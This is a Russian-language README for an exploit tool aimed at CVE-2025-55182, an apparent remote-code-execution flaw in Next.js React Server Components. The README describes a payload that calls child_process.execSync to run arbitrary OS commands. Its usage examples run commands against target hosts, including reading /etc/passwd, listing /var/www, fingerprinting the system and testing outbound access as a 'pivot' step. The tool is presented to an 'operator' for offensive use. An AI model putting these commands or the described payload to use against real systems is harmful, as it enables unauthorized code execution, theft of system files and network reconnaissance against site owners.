CVE-2025-55182 Advanced Scanner

Полнофункциональная утилита для эксплуатации CVE-2025-55182 — удаленное выполнение кода через React Server Components в Next.js. Сканер автоматически создает multipart-полезную нагрузку и использует process.mainModule.require('child_process').execSync() для выполнения произвольных команд ОС на уязвимых экземплярах.

Возможности

• Автоматический генератор полезной нагрузки — ручное кодирование не требуется
• Выполнение команд с чистой выборкой STDOUT
• Автоматическое определение протокола (https:// добавляется при отсутствии)
• Корректное декодирование URL + восстановление новых строк
• Цветной насыщенный вывод для быстрой обратной связи оператора
• Идентификация ошибок (500 / 403 / SSL / таймаут / шаблоны WAF)

Установка

chmod +x scanner.sh

Использование

# Стандартное сканирование (выполняет 'id')
./scanner.sh -d vulnerable-app.com

# Выполнение пользовательской команды
./scanner.sh -d vulnerable-app.com -c "whoami"

# С явным протоколом
./scanner.sh -d http://localhost:3000 -c "cat /etc/passwd"

Опции

Примеры

# Проверка RCE
./scanner.sh -d shop.example.com

# Определение системы
./scanner.sh -d shop.example.com -c "uname -a"

# Перечисление доступных для записи путей
./scanner.sh -d shop.example.com -c "ls -la /var/www"

# Вспомогательный pivot — проверка исходящего доступа
./scanner.sh -d shop.example.com -c "ping -c 4 google.com"

Не стесняйтесь обращаться по адресу mailto:[email protected]